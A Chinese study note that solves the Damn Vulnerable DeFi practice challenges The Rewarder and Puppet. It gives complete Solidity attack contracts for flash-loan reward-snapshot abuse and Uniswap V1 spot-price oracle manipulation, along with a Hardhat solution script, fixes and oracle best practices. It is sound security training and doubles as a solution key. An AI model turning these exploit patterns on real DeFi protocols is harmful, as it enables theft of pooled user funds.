返回 SC 笔记
SC Day 72

DVDF #5 The Rewarder + #8 Puppet — 闪电贷驱动的奖励操纵与预言机攻击

### 1. 闪电贷 — DeFi 攻击的通用放大器

2026-06-21
第三阶段:安全审计 (71-72)
dvdfflashloanrewarderoraclepuppetdefi-security

日期: 2026-06-21 方向: Solidity / 安全审计 阶段: 第三阶段:安全审计 (71-72) 标签: #dvdf #flashloan #rewarder #oracle #puppet #defi-security


今日目标

类型内容
学习DVDF #5 The Rewarder 闪电贷操纵奖励分配、#8 Puppet 预言机操纵
实操编写完整攻击合约,理解闪电贷作为 DeFi 攻击放大器的本质
产出两个挑战的完整解决方案 + 闪电贷攻击模式总结

核心概念

1. 闪电贷 — DeFi 攻击的通用放大器

闪电贷是 DeFi 世界最强大的攻击工具,因为它让攻击者可以零成本获得巨额资本

特性说明
零抵押不需要任何担保即可借到数亿美元
原子性借款和还款在同一交易中完成
低成本通常只需 0.09% 手续费(Aave)或 0 费用(dYdX)
放大器效应将小资金攻击放大为鲸鱼级别的影响

闪电贷攻击链路模式

闪电贷借入巨额资金
    ↓
操纵某个状态(价格/投票权/奖励份额)
    ↓
利用被操纵的状态获利
    ↓
归还闪电贷 + 手续费
    ↓
攻击者保留利润

2. DVDF #5 The Rewarder — 奖励分配操纵

挑战背景

The Rewarder 是一个流动性挖矿奖励系统:

  • 用户存入 DVT Token 到奖励池
  • 每 5 天有一轮奖励分配(100 个 Reward Token)
  • 奖励按存款比例分配
  • 当前有 4 个用户,每人存了 100 DVT(共 400 DVT)

漏洞分析

核心问题在于奖励快照的时机——奖励分配基于调用 distributeRewards() 那一刻的存款余额,而不是整个周期的时间加权平均值:

// TheRewarderPool.sol - 简化版
contract TheRewarderPool {
    IERC20 public immutable liquidityToken; // DVT
    IERC20 public immutable rewardToken;    // Reward Token
    mapping(address => uint256) public deposits;
    uint256 public totalDeposits;
    uint256 public lastRewardTime;
    uint256 public constant REWARDS_ROUND_DURATION = 5 days;

    function deposit(uint256 amount) external {
        // 存款时检查是否到了新的奖励周期
        if (isNewRewardsRound()) {
            _distributeRewards(); // 先分配奖励
        }
        deposits[msg.sender] += amount;
        totalDeposits += amount;
        liquidityToken.transferFrom(msg.sender, address(this), amount);
    }

    function _distributeRewards() private {
        // 漏洞:基于当前余额快照分配!
        // 攻击者可以在分配前瞬间存入大量资金
        uint256 rewards = 100 ether; // 每轮 100 个奖励
        for (each depositor) {
            uint256 share = deposits[depositor] * rewards / totalDeposits;
            rewardToken.transfer(depositor, share);
        }
        lastRewardTime = block.timestamp;
    }

    function withdraw(uint256 amount) external {
        deposits[msg.sender] -= amount;
        totalDeposits -= amount;
        liquidityToken.transfer(msg.sender, amount);
    }
}

攻击策略

1. 等待新的奖励周期开始
2. 从闪电贷池借入大量 DVT
3. 存入 DVT 到奖励池(触发奖励分配,攻击者份额巨大)
4. 立即取出 DVT
5. 归还闪电贷
6. 攻击者获得绝大部分奖励

完整攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IFlashLoanerPool {
    function flashLoan(uint256 amount) external;
}

interface ITheRewarderPool {
    function deposit(uint256 amount) external;
    function withdraw(uint256 amount) external;
    function distributeRewards() external returns (uint256);
}

contract RewarderAttacker {
    IFlashLoanerPool public flashLoanPool;
    ITheRewarderPool public rewarderPool;
    IERC20 public liquidityToken;  // DVT
    IERC20 public rewardToken;
    address public owner;

    constructor(
        address _flashLoanPool,
        address _rewarderPool,
        address _liquidityToken,
        address _rewardToken
    ) {
        flashLoanPool = IFlashLoanerPool(_flashLoanPool);
        rewarderPool = ITheRewarderPool(_rewarderPool);
        liquidityToken = IERC20(_liquidityToken);
        rewardToken = IERC20(_rewardToken);
        owner = msg.sender;
    }

    function attack(uint256 flashLoanAmount) external {
        require(msg.sender == owner, "Not owner");
        // 步骤 1:发起闪电贷
        flashLoanPool.flashLoan(flashLoanAmount);

        // 步骤 5:将奖励转给攻击者
        uint256 rewardBalance = rewardToken.balanceOf(address(this));
        rewardToken.transfer(owner, rewardBalance);
    }

    // 闪电贷回调函数
    function receiveFlashLoan(uint256 amount) external {
        require(msg.sender == address(flashLoanPool), "Only flash loan pool");

        // 步骤 2:批准奖励池使用 DVT
        liquidityToken.approve(address(rewarderPool), amount);

        // 步骤 3:存入 DVT 到奖励池
        // 这会触发 _distributeRewards()
        // 因为我们存入了远超其他用户的金额
        // 我们会获得绝大部分奖励
        rewarderPool.deposit(amount);

        // 步骤 4:立即取出
        rewarderPool.withdraw(amount);

        // 步骤 5:归还闪电贷
        liquidityToken.transfer(address(flashLoanPool), amount);
    }
}

攻击效果数学分析

假设闪电贷借入 1,000,000 DVT:

原始状态:
  Alice: 100 DVT, Bob: 100 DVT, Charlie: 100 DVT, David: 100 DVT
  总计: 400 DVT

攻击时状态:
  Alice: 100, Bob: 100, Charlie: 100, David: 100, Attacker: 1,000,000
  总计: 1,000,400 DVT

奖励分配(100 个 Reward Token):
  Attacker: 1,000,000 / 1,000,400 * 100 ≈ 99.96 Reward Token
  Alice:    100 / 1,000,400 * 100 ≈ 0.01 Reward Token
  ... 其他用户同样微不足道

攻击者获利: ~99.96 Reward Token(几乎全部奖励)
成本: 闪电贷手续费(可能为 0)

修复方案

// 修复1:时间加权平均余额(类似 Sushiswap MasterChef)
contract FixedRewarderPool {
    struct UserInfo {
        uint256 amount;
        uint256 rewardDebt; // 已结算的奖励
    }

    uint256 public accRewardPerShare; // 每份累计奖励
    uint256 public lastRewardTime;

    function updatePool() internal {
        if (totalDeposits == 0) return;
        uint256 elapsed = block.timestamp - lastRewardTime;
        uint256 reward = elapsed * rewardPerSecond;
        accRewardPerShare += reward * 1e18 / totalDeposits;
        lastRewardTime = block.timestamp;
    }

    function deposit(uint256 amount) external {
        updatePool();
        // 先结算之前的奖励
        uint256 pending = user.amount * accRewardPerShare / 1e18 - user.rewardDebt;
        if (pending > 0) rewardToken.transfer(msg.sender, pending);

        user.amount += amount;
        user.rewardDebt = user.amount * accRewardPerShare / 1e18;
        // ...
    }
}

// 修复2:最小锁定时间
function deposit(uint256 amount) external {
    deposits[msg.sender] += amount;
    depositTime[msg.sender] = block.timestamp;
    // ...
}

function claimRewards() external {
    require(
        block.timestamp >= depositTime[msg.sender] + MIN_LOCK_PERIOD,
        "Too early"
    );
    // ...
}

3. DVDF #8 Puppet — Uniswap V1 预言机操纵

挑战背景

Puppet 是一个借贷协议:

  • 用户存入 ETH 作为抵押品
  • 借出 DVT Token
  • 抵押率要求:抵押品价值 ≥ 借款价值的 2 倍
  • 关键漏洞:价格来自 Uniswap V1 池的即时价格

Uniswap V1 即时价格问题

// PuppetPool.sol - 使用 Uniswap V1 spot price 作为预言机
contract PuppetPool {
    IUniswapV1Exchange public uniswapExchange;

    // 计算借出 amount 个 DVT 需要多少 ETH 抵押
    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        // 从 Uniswap V1 获取即时价格
        uint256 ethBalance = address(uniswapExchange).balance;
        uint256 tokenBalance = dvt.balanceOf(address(uniswapExchange));

        // 即时价格 = ethBalance / tokenBalance
        // 抵押要求 = amount * ethBalance / tokenBalance * 2
        return amount * ethBalance * 2 / tokenBalance;
    }

    function borrow(uint256 amount, address recipient) external payable {
        uint256 depositRequired = calculateDepositRequired(amount);
        require(msg.value >= depositRequired, "Not enough collateral");

        dvt.transfer(recipient, amount);
    }
}

漏洞本质

Uniswap V1 的即时价格(spot price)可以被大额交易直接操纵

原始池状态:
  ETH: 10, DVT: 10
  价格: 1 ETH = 1 DVT

攻击者卖出大量 DVT 到池中:
  ETH: 1, DVT: 100 (极端情况)
  价格: 1 ETH = 100 DVT

现在 DVT 变得极其"便宜"
借出 100000 DVT 需要的 ETH 抵押:
  100000 * 1 * 2 / 100 = 2000 ETH → 变成了极少量

完整攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IUniswapV1Exchange {
    // 卖出 ETH 买入 Token
    function ethToTokenSwapInput(
        uint256 min_tokens,
        uint256 deadline
    ) external payable returns (uint256);

    // 卖出 Token 买入 ETH
    function tokenToEthSwapInput(
        uint256 tokens_sold,
        uint256 min_eth,
        uint256 deadline
    ) external returns (uint256);
}

interface IPuppetPool {
    function borrow(uint256 amount, address recipient) external payable;
    function calculateDepositRequired(uint256 amount) external view returns (uint256);
}

contract PuppetAttacker {
    IUniswapV1Exchange public exchange;
    IPuppetPool public lendingPool;
    IERC20 public dvt;
    address public owner;

    constructor(
        address _exchange,
        address _lendingPool,
        address _dvt
    ) {
        exchange = IUniswapV1Exchange(_exchange);
        lendingPool = IPuppetPool(_lendingPool);
        dvt = IERC20(_dvt);
        owner = msg.sender;
    }

    function attack(uint256 tokenAmount) external payable {
        require(msg.sender == owner);

        // 步骤 1:将所有 DVT 卖到 Uniswap,压低 DVT 价格
        dvt.approve(address(exchange), tokenAmount);
        exchange.tokenToEthSwapInput(
            tokenAmount,
            1,                    // min ETH out(不关心滑点)
            block.timestamp + 1   // deadline
        );

        // 此时 Uniswap 池中:ETH 很少,DVT 很多
        // DVT 价格被极度压低

        // 步骤 2:以极低的抵押品借出所有 DVT
        uint256 poolBalance = dvt.balanceOf(address(lendingPool));
        uint256 depositRequired = lendingPool.calculateDepositRequired(poolBalance);

        // depositRequired 现在非常小,因为 DVT "价格" 被压低了
        lendingPool.borrow{value: depositRequired}(poolBalance, address(this));

        // 步骤 3:将所有资产转给攻击者
        dvt.transfer(owner, dvt.balanceOf(address(this)));
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {}
}

攻击数学推演

初始条件:
  Uniswap Pool: 10 ETH + 10 DVT
  Puppet Pool: 100,000 DVT
  攻击者: 1000 DVT + 25 ETH

步骤1 - 卖出 1000 DVT 到 Uniswap:
  使用恒定乘积: x * y = k = 10 * 10 = 100
  新 DVT 余额: 10 + 1000 = 1010
  新 ETH 余额: 100 / 1010 ≈ 0.099 ETH
  攻击者获得: 10 - 0.099 ≈ 9.9 ETH

步骤2 - 计算抵押品需求:
  新价格: 0.099 ETH / 1010 DVT ≈ 0.000098 ETH/DVT
  借出 100,000 DVT 需要:
    100000 * 0.099 * 2 / 1010 ≈ 19.6 ETH

  攻击者有: 25 + 9.9 = 34.9 ETH,绰绰有余!

步骤3 - 获利:
  花费: ~19.6 ETH
  获得: 100,000 DVT
  净利润: 100,000 DVT - 1000 DVT(卖掉的)= 99,000 DVT + 剩余 ETH

Hardhat 测试脚本

const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Puppet Challenge", function () {
    let deployer, player;
    let token, exchange, lendingPool;

    const UNISWAP_INITIAL_TOKEN_RESERVE = 10n * 10n**18n;
    const UNISWAP_INITIAL_ETH_RESERVE = 10n * 10n**18n;
    const PLAYER_INITIAL_TOKEN_BALANCE = 1000n * 10n**18n;
    const PLAYER_INITIAL_ETH_BALANCE = 25n * 10n**18n;
    const POOL_INITIAL_TOKEN_BALANCE = 100000n * 10n**18n;

    before(async function () {
        [deployer, player] = await ethers.getSigners();
        // ... 部署合约(省略)
    });

    it("Exploit", async function () {
        // 方法一:直接从 player EOA 攻击(不需要攻击合约)

        // 步骤 1:批准 Uniswap 使用 DVT
        await token.connect(player).approve(
            exchange.address,
            PLAYER_INITIAL_TOKEN_BALANCE
        );

        // 步骤 2:将所有 DVT 卖给 Uniswap
        await exchange.connect(player).tokenToEthSwapInput(
            PLAYER_INITIAL_TOKEN_BALANCE,
            1, // min ETH
            (await ethers.provider.getBlock("latest")).timestamp + 100
        );

        // 步骤 3:计算需要多少抵押品
        const depositRequired = await lendingPool.calculateDepositRequired(
            POOL_INITIAL_TOKEN_BALANCE
        );
        console.log("Deposit required:", ethers.utils.formatEther(depositRequired), "ETH");

        // 步骤 4:以极低抵押品借出所有 DVT
        await lendingPool.connect(player).borrow(
            POOL_INITIAL_TOKEN_BALANCE,
            player.address,
            { value: depositRequired }
        );
    });

    after(async function () {
        // 验证:player 获得了池中所有 DVT
        expect(await token.balanceOf(lendingPool.address)).to.equal(0);
        expect(await token.balanceOf(player.address)).to.be.gte(
            POOL_INITIAL_TOKEN_BALANCE
        );
    });
});

4. 预言机安全设计模式对比

预言机方案安全性延迟成本适用场景
Uniswap V1 Spot Price极低00不要用于任何场景
Uniswap V2/V3 TWAP中等取决于窗口期辅助参考
Chainlink心跳周期主流 DeFi
Pyth Network亚秒级需要高频更新
多预言机聚合最高大型协议
// 安全的预言机使用模式
contract SecureLending {
    AggregatorV3Interface public priceFeed; // Chainlink
    uint256 public constant MAX_PRICE_AGE = 1 hours;
    uint256 public constant MAX_PRICE_DEVIATION = 500; // 5%

    function getPrice() public view returns (uint256) {
        (
            uint80 roundId,
            int256 price,
            ,
            uint256 updatedAt,
            uint80 answeredInRound
        ) = priceFeed.latestRoundData();

        // 检查1:价格为正
        require(price > 0, "Invalid price");

        // 检查2:数据新鲜度
        require(
            block.timestamp - updatedAt <= MAX_PRICE_AGE,
            "Stale price"
        );

        // 检查3:回合完整性
        require(answeredInRound >= roundId, "Stale round");

        return uint256(price);
    }

    // 进阶:多预言机交叉验证
    function getPriceWithFallback() public view returns (uint256) {
        uint256 chainlinkPrice = getChainlinkPrice();
        uint256 twapPrice = getTwapPrice();

        // 检查两个价格源偏差
        uint256 deviation = chainlinkPrice > twapPrice
            ? (chainlinkPrice - twapPrice) * 10000 / chainlinkPrice
            : (twapPrice - chainlinkPrice) * 10000 / twapPrice;

        require(deviation <= MAX_PRICE_DEVIATION, "Price deviation too high");

        return chainlinkPrice; // 以 Chainlink 为准
    }
}

5. 闪电贷攻击模式总结

模式 1:奖励操纵(The Rewarder)
  闪电贷 → 大量存款 → 领取不成比例的奖励 → 取款 → 还贷

模式 2:预言机操纵(Puppet)
  闪电贷/大额交易 → 操纵 DEX 价格 → 利用错误价格获利 → 还贷

模式 3:治理操纵
  闪电贷借入治理代币 → 发起/通过恶意提案 → 还贷

模式 4:清算操纵
  闪电贷 → 操纵价格使仓位可清算 → 清算获利 → 还贷

模式 5:套利(合法)
  闪电贷 → 在价格差的平台间套利 → 还贷 → 保留利润

代码实战

综合攻击合约:组合闪电贷 + 预言机操纵 + 奖励窃取

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title 综合闪电贷攻击示例(教学用途)
/// @notice 展示闪电贷如何被用于组合攻击
contract CombinedAttacker {
    // 攻击步骤记录(用于教学分析)
    event AttackStep(uint256 step, string description, uint256 value);

    address public owner;
    IERC20 public token;
    IFlashLoanProvider public flashLoanProvider;

    constructor(address _token, address _flashLoanProvider) {
        owner = msg.sender;
        token = IERC20(_token);
        flashLoanProvider = IFlashLoanProvider(_flashLoanProvider);
    }

    /// @notice 执行攻击的主入口
    function executeAttack() external {
        require(msg.sender == owner, "Unauthorized");

        // 记录攻击前状态
        uint256 balanceBefore = token.balanceOf(address(this));
        emit AttackStep(0, "Balance before attack", balanceBefore);

        // 发起闪电贷
        uint256 flashAmount = token.balanceOf(address(flashLoanProvider));
        flashLoanProvider.flashLoan(address(this), flashAmount);

        // 记录攻击后状态
        uint256 balanceAfter = token.balanceOf(address(this));
        emit AttackStep(99, "Balance after attack", balanceAfter);

        require(balanceAfter > balanceBefore, "Attack not profitable");

        // 转出利润
        token.transfer(owner, balanceAfter);
    }

    /// @notice 闪电贷回调 - 攻击核心逻辑
    function onFlashLoan(
        address initiator,
        uint256 amount,
        uint256 fee
    ) external returns (bytes32) {
        require(msg.sender == address(flashLoanProvider));
        require(initiator == address(this));

        // === 攻击核心 ===

        // 步骤 1:操纵价格
        _manipulatePrice(amount);
        emit AttackStep(1, "Price manipulated", amount);

        // 步骤 2:利用错误价格
        _exploitMispricedAssets();
        emit AttackStep(2, "Exploited mispriced assets", 0);

        // 步骤 3:恢复价格(可选,减少被发现的概率)
        _restorePrice();
        emit AttackStep(3, "Price restored", 0);

        // 归还闪电贷
        token.approve(address(flashLoanProvider), amount + fee);

        return keccak256("FlashLoan");
    }

    function _manipulatePrice(uint256 amount) internal {
        // 将大量 token 卖到 DEX,压低价格
        token.approve(address(dex), amount);
        dex.swap(address(token), address(weth), amount, 0);
    }

    function _exploitMispricedAssets() internal {
        // 以被压低的价格从借贷协议借出资产
        // 或购买被低估的资产
    }

    function _restorePrice() internal {
        // 买回 token,恢复价格
    }
}

关键要点总结

要点说明
闪电贷是放大器让攻击者零成本获得巨额资本
即时价格不安全任何基于 spot price 的系统都可被操纵
奖励快照需时间加权基于瞬时余额分配的奖励必然被攻击
TWAP 不完美但更好时间加权平均可以增加操纵成本
Chainlink 是标准方案外部预言机不依赖链上 DEX 状态
多源交叉验证大型协议应使用多个预言机源对比

常见误区

  1. "闪电贷本身是漏洞" — 错误!闪电贷只是工具,真正的漏洞是被操纵的系统(预言机、奖励分配等)
  2. "禁用闪电贷就安全了" — 错误!富有的鲸鱼不需要闪电贷也能操纵价格
  3. "Uniswap V3 TWAP 足够安全" — 部分正确。TWAP 窗口期越长越安全,但仍可能在低流动性池中被操纵
  4. "只要用 Chainlink 就万无一失" — 错误!Chainlink 也可能出现价格延迟、心跳过期等问题,需要正确处理边界情况
  5. "在 deposit 里加 require(msg.sender == tx.origin) 能防攻击" — 短视的修复。这只阻止了合约调用,但限制了账户抽象等正常使用场景

面试关联

面试题:如何防护闪电贷攻击?

30 秒回答: 闪电贷攻击的本质是利用单一交易内的状态操纵。防护的关键是让系统状态不可被单一交易操纵——使用外部预言机(Chainlink)而非 DEX spot price,用时间加权平均计算奖励份额,对关键操作引入最小锁定期。

2 分钟回答: 闪电贷攻击有三个常见模式:预言机操纵、奖励分配操纵和治理操纵。预言机层面,绝不使用 DEX spot price,应该使用 Chainlink 等外部预言机,并加上新鲜度检查和多源交叉验证。奖励分配层面,应使用 MasterChef 模式的时间加权累计奖励,而非基于瞬时余额快照。治理层面,在投票前要求代币锁定,引入投票延迟期。此外,关键操作可以引入最小锁定时间,虽然影响用户体验,但能有效阻止单交易攻击。最后,不要试图通过禁止合约调用来防护,因为这既可以被绕过,又影响了账户抽象等正常功能。

追问准备

  • Q: Compound 是如何防护的? A: Compound 使用 Chainlink + 自己的 Open Price Feed 双重验证,加上价格锚定检查。
  • Q: 闪电贷有合法用途吗? A: 当然有——无损套利、清算(维护系统健康)、债务再融资、一键杠杆等。

参考资源

资源说明
DVDF GitHub完整挑战代码
Rekt Leaderboard历史攻击金额排行
Chainlink 最佳实践安全使用预言机
Uniswap V3 TWAPTWAP 原理
SamcZsun 闪电贷分析安全研究员博客
DeFi Hack AnalysisDeFi 攻击案例库